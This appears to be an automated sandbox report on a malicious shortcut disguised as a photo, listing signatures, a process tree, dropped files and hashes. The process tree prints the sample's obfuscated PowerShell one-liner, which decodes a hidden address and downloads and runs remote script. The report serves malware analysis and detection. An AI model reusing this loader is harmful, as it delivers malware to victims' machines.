Analysis

  • max time kernel
    39s
  • max time network
    41s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    27/07/2026, 09:24

General

  • Target
    photov_435787845227.lnk
  • Size 1KB
  • Sample260727-ldcqcsac26
  • SHA256 a15361871502487bc35d680bcf1e2654f018bf47676d182a4d21608406465f9d
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 10 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 22 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\photov_435787845227.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3140
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c powershell -c "$rom4ss=60;$esx5qw=19;$yzejnozb=54;$jk54k=[bigint]::Parse('979579148522688738480134779269288713880897749066086');$sf54irg=[bigint]::Parse('979579148522531570792994366270195163712491624116719');$jk54k=$jk54k-$sf54irg;$n6p5ukygg=@();while($jk54k -gt 0){$n6p5ukygg+=[char][int]([bigint]::Remainder($jk54k,256));$jk54k=[bigint]::Divide($jk54k,256)};.([scriptblock]::Create((irm(-join$n6p5ukygg))))"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1224
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -c "$rom4ss=60;$esx5qw=19;$yzejnozb=54;$jk54k=[bigint]::Parse('979579148522688738480134779269288713880897749066086');$sf54irg=[bigint]::Parse('979579148522531570792994366270195163712491624116719');$jk54k=$jk54k-$sf54irg;$n6p5ukygg=@();while($jk54k -gt 0){$n6p5ukygg+=[char][int]([bigint]::Remainder($jk54k,256));$jk54k=[bigint]::Divide($jk54k,256)};.([scriptblock]::Create((irm(-join$n6p5ukygg))))"
        3⤵
        • Badlisted process makes network request
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4160
        • C:\Users\Admin\AppData\Local\ocjfs_dveyfl_upd_qahxb\git.exe
          "C:\Users\Admin\AppData\Local\ocjfs_dveyfl_upd_qahxb\git.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:4516
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1848
  • C:\Users\Admin\AppData\Local\ocjfs_dveyfl_upd_qahxb\git.exe
    "C:\Users\Admin\AppData\Local\ocjfs_dveyfl_upd_qahxb\git.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3904
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2796
  • C:\Windows\system32\cmd.exe
    "cmd /c start "" /D "C:\ProgramData\GitWinx86" "C:\ProgramData\GitWinx86\git.exe""
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3324
    • C:\ProgramData\GitWinx86\git.exe
      "C:\ProgramData\GitWinx86\git.exe""
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:5032
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:8364
  • C:\Windows\Temp\DCRCVDrv.sys
    C:\Windows\Temp\DCRCVDrv.sys
    1⤵
    • Executes dropped EXE
    PID:1720

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        msvcp140.dll

        • Path C:\ProgramData\GitWinx86\msvcp140.dll
        • Size 540KB
        • SHA256 def46aa6a8f72f27bafac0c43334419486a4d1dcdb6c479a8ef7034b3e1fa4cb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ucrtbase.dll

        • Path C:\ProgramData\GitWinx86\ucrtbase.dll
        • Size 1.3MB
        • SHA256 c2ed69b4a1bb9432c75134e813c70539e27c8c1fe96a784d9be78c874e93d9d5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        swgwegps0_qfah_ptatl.zip

        • Path C:\Users\Admin\AppData\Local\Temp\swgwegps0_qfah_ptatl.zip
        • Size 5.6MB
        • SHA256 031141870683cc41121ed8e2fbbdaa06da3720043ec448b000869cde34ebc352
        • MD5 SHA1 SHA512 SSDEEP TLSH

        VCRUNTIME140.dll

        • Path C:\Users\Admin\AppData\Local\ocjfs_dveyfl_upd_qahxb\VCRUNTIME140.dll
        • Size 120KB
        • SHA256 184146852727a9db4eea06178716bec3cdbb1015c911f6b0f915b184ad7775b2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        VCRUNTIME140_1.dll

        • Path C:\Users\Admin\AppData\Local\ocjfs_dveyfl_upd_qahxb\VCRUNTIME140_1.dll
        • Size 46KB
        • SHA256 e6bfb3662ab4b1969a73441dbe35c96d51441b6bff8cf1fe7430bd5b246ca605
        • MD5 SHA1 SHA512 SSDEEP TLSH

        git.exe

        • Path C:\Users\Admin\AppData\Local\ocjfs_dveyfl_upd_qahxb\git.exe
        • Size 4.2MB
        • SHA256 cab4c4eea1d869cf9f7be73868dc9a90ad2df1b1b673e5f8c8714a576c25ea96
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libiconv-2.dll

        • Path C:\Users\Admin\AppData\Local\ocjfs_dveyfl_upd_qahxb\libiconv-2.dll
        • Size 1.1MB
        • SHA256 7a282a854e01be726c6cccfe46f548c716aa45b3014818468253aaa4efbcd067
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libintl-8.dll

        • Path C:\Users\Admin\AppData\Local\ocjfs_dveyfl_upd_qahxb\libintl-8.dll
        • Size 291KB
        • SHA256 0537c3dd2378218508ebe3cc416d72a99ee2d24ae1c5525e23458f32544ef861
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libpcre2-8-0.dll

        • Path C:\Users\Admin\AppData\Local\ocjfs_dveyfl_upd_qahxb\libpcre2-8-0.dll
        • Size 701KB
        • SHA256 c135a87ed0f11eae8ffc4cb469671ff0b3f5d71fab5fb024e9b1e7241ca25b52
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libwinpthread-1.dll

        • Path C:\Users\Admin\AppData\Local\ocjfs_dveyfl_upd_qahxb\libwinpthread-1.dll
        • Size 3.0MB
        • SHA256 3b9a3369e4fbc9f4336247ea11cf5df3b4c44066987ff20f5f6895addb052036
        • MD5 SHA1 SHA512 SSDEEP TLSH

        zlib1.dll

        • Path C:\Users\Admin\AppData\Local\ocjfs_dveyfl_upd_qahxb\zlib1.dll
        • Size 125KB
        • SHA256 93e9243a44c29200eeacaf9658efe2558581770e4b11ca4b500e18e424a6e3b5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        DCRCVDrv.sys

        • Path C:\Windows\Temp\DCRCVDrv.sys
        • Size 137KB
        • SHA256 87e8d39db624f37d3e77aedf487a2dfd197f71a4730ea74f4e7a4341deaec2ff
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/1720-138-0x0000000000010000-0x000000000003D000-memory.dmp

        memory/1848-232-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-220-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-234-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-236-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-238-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-240-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-242-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-248-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-250-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-252-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-254-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-256-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-258-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-260-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-262-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-264-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-230-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-266-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-228-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-226-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-222-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-174-0x00000000055B0000-0x00000000055DC000-memory.dmp

        memory/1848-218-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-216-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-268-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-214-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-282-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-272-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-270-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-246-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-244-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-224-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-274-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-277-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-278-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-280-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-284-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-286-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-288-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-290-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-292-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-294-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-296-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/1848-298-0x00000000055B0000-0x00000000055D6000-memory.dmp

        memory/2796-173-0x0000000002C30000-0x0000000002C4A000-memory.dmp

        memory/2796-176-0x0000000002C60000-0x0000000002C86000-memory.dmp

        memory/2796-192-0x0000000002C60000-0x0000000002C86000-memory.dmp

        memory/2796-2055-0x0000000006900000-0x0000000006EBA000-memory.dmp

        memory/2796-2054-0x00000000062A0000-0x0000000006332000-memory.dmp

        memory/2796-2053-0x0000000005770000-0x00000000057D6000-memory.dmp

        memory/2796-175-0x0000000002C60000-0x0000000002C86000-memory.dmp

        memory/2796-178-0x0000000002C60000-0x0000000002C86000-memory.dmp

        memory/2796-180-0x0000000002C60000-0x0000000002C86000-memory.dmp

        memory/2796-190-0x0000000002C60000-0x0000000002C86000-memory.dmp

        memory/2796-188-0x0000000002C60000-0x0000000002C86000-memory.dmp

        memory/2796-186-0x0000000002C60000-0x0000000002C86000-memory.dmp

        memory/2796-185-0x0000000002C60000-0x0000000002C86000-memory.dmp

        memory/2796-182-0x0000000002C60000-0x0000000002C86000-memory.dmp

        memory/2796-161-0x0000000000400000-0x0000000000470000-memory.dmp

        memory/3904-164-0x00007FFBE23E0000-0x00007FFBE2432000-memory.dmp

        memory/3904-163-0x00007FFBD93B0000-0x00007FFBD94CF000-memory.dmp

        memory/3904-166-0x00007FFBD9B10000-0x00007FFBD9BC6000-memory.dmp

        memory/3904-162-0x00007FF66DD80000-0x00007FF66E1EF000-memory.dmp

        memory/3904-165-0x00007FFBE6FF0000-0x00007FFBE7016000-memory.dmp

        memory/4160-133-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

        memory/4160-9-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

        memory/4160-28-0x000001F4330D0000-0x000001F4335F8000-memory.dmp

        memory/4160-26-0x000001F432430000-0x000001F43245A000-memory.dmp

        memory/4160-27-0x000001F432430000-0x000001F432454000-memory.dmp

        memory/4160-25-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

        memory/4160-24-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

        memory/4160-23-0x000001F4323F0000-0x000001F4323FA000-memory.dmp

        memory/4160-22-0x000001F432900000-0x000001F4329B2000-memory.dmp

        memory/4160-21-0x000001F4323D0000-0x000001F4323EE000-memory.dmp

        memory/4160-18-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

        memory/4160-17-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

        memory/4160-16-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

        memory/4160-15-0x000001F4329D0000-0x000001F432B92000-memory.dmp

        memory/4160-14-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

        memory/4160-13-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

        memory/4160-12-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

        memory/4160-11-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

        memory/4160-10-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

        memory/4160-29-0x000001F432410000-0x000001F43241A000-memory.dmp

        memory/4160-8-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

        memory/4160-31-0x000001F432440000-0x000001F432452000-memory.dmp

        memory/4160-35-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

        memory/4160-67-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

        memory/4160-69-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

        memory/4160-91-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

        memory/4160-0-0x00007FFBE067F000-0x00007FFBE0680000-memory.dmp

        memory/4160-7-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

        memory/4160-6-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

        memory/4160-2-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

        memory/4160-5-0x000001F41A2E0000-0x000001F41A302000-memory.dmp

        memory/4160-1-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

        memory/4516-168-0x00007FF66DD80000-0x00007FF66E1EF000-memory.dmp

        memory/4516-169-0x00007FFBD93B0000-0x00007FFBD94CF000-memory.dmp

        memory/4516-171-0x00007FFBD9B10000-0x00007FFBD9BC6000-memory.dmp

        memory/4516-172-0x00007FFBE6FF0000-0x00007FFBE7016000-memory.dmp

        memory/4516-170-0x00007FFBE23E0000-0x00007FFBE2432000-memory.dmp